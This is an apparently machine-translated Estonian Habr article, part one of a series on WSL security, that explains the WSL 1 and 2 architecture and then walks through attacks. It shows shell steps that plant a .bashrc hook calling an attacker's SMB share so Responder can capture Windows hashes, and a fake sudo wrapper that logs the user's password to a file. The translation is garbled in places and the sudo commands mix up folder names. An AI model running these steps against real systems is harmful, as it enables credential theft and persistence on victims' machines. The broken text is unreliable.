WSL eksperimendid. Osa 1

Tere, Habr! Oktoobris käivitab OTUS uue kursuse voolu „Turvalisus Linuxis“. Kursuse alguseni jagame teiega artiklit, mille kirjutas üks meie õpetajatest — Aleksandr Kolesnikov.

WSL eksperimendid. Osa 1

2016. aastal tutvustas Microsoft IT kogukonnale uut tehnoloogiat WSL (WWindows Salam süsteem jaoks LWindows ja Linuxi vahelise varem lahutatud konkurentsi ühiseks täiendavaks võimaluseks, mis võitleb populaarsuse nimel nii tavakasutajate kui ka arenenud kasutajate seas. See tehnoloogia võimaldas kasutada Linuxi operatsioonisüsteemi tööriistu Windowsi keskkonnas ilma Linuxi käivitamiseta, näiteks mitme käivituse (Multi-boot) kaudu. Habr'is leiate palju artikleid, mis kirjeldavad WSL-i kasutamise eeliseid. Kahjuks ei leidnud kirjutamise ajal sellel ressursil WSL-i ja Windowsi operatsioonisüsteemide kooskasutamise turvauuringute jaoks uuringute olemasolu. Antud postitus on katse seda parandada. Artiklis käsitletakse WSL 1 ja 2 arhitektuuride eripära, samuti analüüsitakse mitmeid rünnakute näiteid süsteemides, mis kasutavad neid tehnoloogiaid. Artikkel on jagatud kaheks osaks. Esimeses osas esitatakse peamised teoreetilised rünnaku meetodid Linuxi ja Windowsi poolt. Teine osa hõlmab testkeskkonna seadistamist ja rünnakute kordamist.

WSL 1: arhitektuuri eripärad

WSL-i turvalisuse probleemidesse süvenemiseks on oluline mõista süsteemi rakendamise põhijooni. WSL-i peamine kasutajateenus on võimaldada töö tegemist Linuxi terminali kaudu Windowsi operatsioonisüsteemiga hostitud arvutites. Pakutud ühilduvus oli nii natiivne, et Linuxi käivitatavad failid (ELF) said otse Windowsis käivitada. Selle saavutamiseks loodi Windows 10-s spetsiaalne alamsüsteem, mis võimaldab Linuxi rakenduste käivitamist süsteemikutse komplekti abil — sel moel püüti kaardistada Linuxi syscall-id Windowsile. Füüsiliselt tehti see uute draiverite ja protsessiformaadi lisamise kaudu. Visualiseeritud arhitektuur nägi välja selline:

WSL eksperimendid. Osa 1

Põhimõtteliselt oli suhtlus Linuxi operatsioonisüsteemiga korraldatud läbi mitmete tuumamoodulite ja spetsiaalse tüüpi protsesside — pico. Ülemisel skeemil on näha, et Linuxi instantsis käivitatud protsess peab olema native ning peab kasutama samu ressursse, mis tavalised Windowsi rakendused. Kuid kuidas seda saavutada? Projektis Drawbridge arendati Windowsi jaoks protsesside kontseptsioone, mis pakkusid kõik vajalikud operatsioonisüsteemi komponendid (sõltuvalt versioonist) rakenduse käivitamiseks teises operatsioonisüsteemis.

Täpsemalt, pakutud abstraktsioon võimaldas mitte orienteeruda operatsioonisüsteemile (eriti — Windows), kus oodatakse teise operatsioonisüsteemi protsessi käivitamist, ning pakkus üldist lähenemist.

Nii võis iga rakendus pico protsessi sees töötada ilma Windowsi tuumale mõtlemata:

  1. Ühildusprobleemid ja süsteemikõnede tõlke probleemid peaks lahendama spetsiaalsed pakkujad;
  2. Juurdepääsu haldamine peab toimuma Turva Monitori kaudu. Monitor asub tuumas ja seetõttu vajas Windows uut draiverit, mis võiks toimida nende protsesside pakkujana. Pico protsessi prototüüp on allpool skeemiliselt esitatud:

WSL eksperimendid. Osa 1

Kuna Linuxi failisüsteem kasutab registritundlikke failinimesid ja kaustu, lisati Windowsis WSL-i jaoks kaks uut failisüsteemi — VolFS ja DriveFS. VolFS on Linuxi failisüsteemi teostus, samas kui DriveFS on failisüsteem, mis töötab Windowsi reeglite järgi, kuid võimaldab nime registreerimisärritust valida.

WSL 2

WSL 1-l oli mitmeid piiranguid, mis takistasid selle kasutamist laia valiku ülesannete lahendamiseks: näiteks puudus võimalus käivitada 32-bitiseid Linuxi rakendusi ja seadmestik draivereid ei saanud kasutada. Seetõttu ilmus 2020. aastal WSL 2, mis muutis lähenemist alamhüsteemi ehitamisele. WSL 2 on optimeeritud virtuaalmasin, mis vastab WSL 1 ressursside tarbimise omadustele. Nüüd saab Windowsi kasutaja sõltuvalt probleemidest, mida ta lahendab, valida vajaliku Linuxi alamhüsteemi versiooni. Võimalike haavatavuste leevendamiseks on WSL 2 rakendatud Hyper-V-l Windows 10-s. Sel viisil on Windowsil võimalus isoleeritult käivitada Linuxi operatsioonisüsteemi kernel. Tuleb meeles pidada, et WSL 1 versioon esitati beetaversioonina, mis pidi näitama Windowsi arengusuunda selles valdkonnas, seetõttu oli üleminek Hyper-V-le vältimatu. Lõplik arhitektuur näeb välja selline:

WSL eksperimendid. Osa 1

Selles versioonis on Windowsi ja Linuxi süsteemide kernelitel oma ressursid ning ühisosa eksisteerib ainult failisüsteemis, kuid seda ei saa nimetada täielikuks. Failisüsteemide vaheline suhtlemine toimub kliendi-serveri mähise kaudu, mis töötab 9P protokolli alusel.

Praegu pakub Microsoft võimalust vahetada WSL 1 ja WSL 2 vahel. Mõlemad versioonid on kasutamiseks saadaval.

WSL-i turvalisus

Praegu on olemas mitmeid töid, mis kirjeldavad mõningaid lähenemisi seaduslike OS-i tööriistade kasutamiseks rünnakuks alamsüsteemide vahelistes ehitustes. Kasutame nende stsenaariume, et kontrollida rünnakute asjakohasust artikli kirjutamise ajal. Üldine nimekiri rünnakutest ja nende teostamise stsenaariumid:

1. Failisüsteemi rakendamine: juurdepääsu õigused, ühiste kaustade andmevahetuse mehhanismide olemasolu.

Uuringud viidi läbi juurdepääsureeglite rikkumise osas Linux FS->Windows FS, Windows FS->Linux FS. Uuringud on näidanud, et siht-OS-is on võimalik määratud faili muuta. Samuti on tehtud katseid asendamiseks, kopeerimiseks ja failisüsteemide osade kustutamiseks.

Skeem:

  • A. Rünnak Windowsi operatsioonisüsteemist — failide muutmine Linuxi OS-i kaustas /etc.
  • B. Rünnak Linuxi operatsioonisüsteemist — failide muutmine kaustades: C:Windows, C:Program Files, C:Users

2. Võrgustiku stack'i rakendamine.

Uuringud viidi läbi rünnakute näitel Linuxi operatsioonisüsteemist Windowsi vastu. Kasutati võrgu stack'i töö eripära, nimelt — autentimismehhanisme erinevatel ressurssidel.

Skeem:

  • Ligipääsu avamine pordile, mis on Windowsi süsteemis hõivatud
  • Pordi avamine ilma vastavate õigusteta
  • Reverse shell'i käivitamine Windowsi operatsioonisüsteemis elf faili abil.

3. Kuri tarkvara protsesside käivitamise varjamine WSL-i alamsüsteemi abil.

Uuringud põhinesid lihtsal faktidel: kaitsesub-süsteemid ei saa ühes kihis, mis töötab legaalse operaatori abil operatsioonisüsteemi puhul WSL 1, sündmusi püüda. WSL 2 puhul ei ole võimalik jälgida sündmusi, mis toimuvad eraldi kihis, mis on seadistatud kerge virtuaalmasina raames.

Skeem:

1) Rakenduse käivitamine kaugsüsteemi juurdepääsuks ja registreeritud sündmuste vaatamine.

WSL 1 eksperiment: räsihash (Windowsi OS)

Lõ finally jõudsime praktilise osa juurde. Kõigepealt tuleb seadistada testkeskkond. Kõik katsed viiakse läbi seadmel, kus on installitud Windows 10 2004. WSL jaoks valiti operatsioonisüsteemi kujunduseks Ubuntu 18.04. Kujundus valiti juhuslikult ja iga teine töötab samuti. Seadme seadistamise käsud:

Esmalt tuleb käivitada powershell.exe administraatori õigustes.

WSL 1 jaoks tuleb käivitada käsud:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Luba WSL funktsioon
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Laadi Linuxi kujundus Microsofti poest

  • Ubuntu.appx install —root #Installeerime pildi
  • Võib-olla peate seadistamise protsessi klikkima ja looma uue kasutaja, kellel on vähem õigusi kui root. Meie testi jaoks on see tavaline kasutaja sam.
  • Restart-Computer #Taaskäivitame
  • Pärast stendi taaskäivitamist saate käivitada bash-käsu. Kui kõik on õigesti toimunud, näete Windowsi konsoolis umbes sellist väljundit:

    WSL eksperimendid. Osa 1

    Rünnaku masinaks kasutame Kali Linuxi distributsiooni, kõik masinad peavad olema samas lokaalvõrgus.

    Oletame, et meil on privileegideta juurdepääs WSL-ile Windowsi masinas. Proovime rünnata Linuxi operatsioonisüsteemi, käivitades käsu Linuxist. Rünnaku elluviimiseks kasutame lihtsat automaatmehanismi — lisame oma skripti Linuxi keskkonnas täitmiseks. Selleks peame muutma faili .bashrc.

    WSL masinas käivitame:

    	1. bash
    	2. Liigume kasutaja kodu kausta: cd /home/sam/
    	3. echo «/home/sam/.attack.sh» >> .bashrc
    	4. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	5. chmod u+x .attack.sh
    	6. exit

    Kali Linux masinas käivitame:

    1. Responder -I eth0 -rdvw

    Käivitage bash Windowsi masinas.

    Ootame tulemust Kali Linux masinas:

    WSL eksperimendid. Osa 1

    Seega saime Windowsi kasutaja hashesid kaudu WSL süsteemi, käivitades käsu Linuxi süsteemis.

    WSL 1 katsed: Linuxi kasutaja parooli hankimine

    Teeme veel ühe katse. Selle kontrollimise käigus täiustame faili .bashrc mitmete käskudega, et hankida Linuxi operatsioonisüsteemi kasutaja parool.

    Käivitame bash'i ja sisestame käsud:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] parool kasutajale $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Kahjuks, proovi uuesti."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Ründamise eduka lõpetamise jaoks peab kasutaja Sam kutsuma sudo Linuxi terminalis. Pärast seda on Linuxi operatsioonisüsteemi kasutaja parool failis pass.txt:

    WSL eksperimendid. Osa 1

    Rünnakute teostamine on esitatud ainult teoreetiliseks tutvumiseks.

    Artikli järgmises osas käsitletakse 9P protokolli rakendamist, selle protokolli skanneri loomist ning rünnaku läbiviimist selle abil.

    Kasutatud kirjanduse loetelu

    WSL eksperimendid. Osa 1

    Loe veel

    Allikas: habr.com

    Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster